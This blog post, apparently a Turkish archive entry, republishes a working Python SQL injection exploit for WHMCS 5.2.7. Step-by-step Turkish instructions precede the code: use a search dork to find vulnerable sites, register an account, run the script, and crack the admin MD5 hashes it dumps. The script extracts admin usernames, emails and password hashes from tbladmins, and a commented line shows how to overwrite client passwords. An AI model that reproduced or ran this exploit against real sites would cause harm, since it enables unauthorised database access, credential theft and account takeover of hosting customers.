Archive for 10 Ekim 2013

WHMCS 5.2.7 SQL Injection Vulnerabilitiy

Açığın Kullanımına ilişkin açaklama;
1- python exploit indir
2- c:\python ana dizine at
3- “powered by whmcompletesolution” şeklinde arat
4- register.php ye tıkla ve üye ol
5- exploite url yi kaydet
6- komut sisteminden python 28807.py komutunu ver
7- açık varsa görüldüğü gibi md5 hashı görünecektir
8- googleden md5 crack sitelerini bul dene veritabanlarında kayıtlıysa kırılacaktır.

#!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie
user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
user_pwd = 'hacker' 

import urllib, re, sys
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

def exploit(sql):
	print "Doing stuff: %s" % sql
	r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
	return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():
	print "Getting CSRF token"
	r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
	csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
	cookie = r.info()['set-cookie'].split(';')[0]
	print "Logging in"
	r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
	if 'dologin.php' in r:
		sys.exit('Unable to login')
	else:
		return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]

user = login()
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)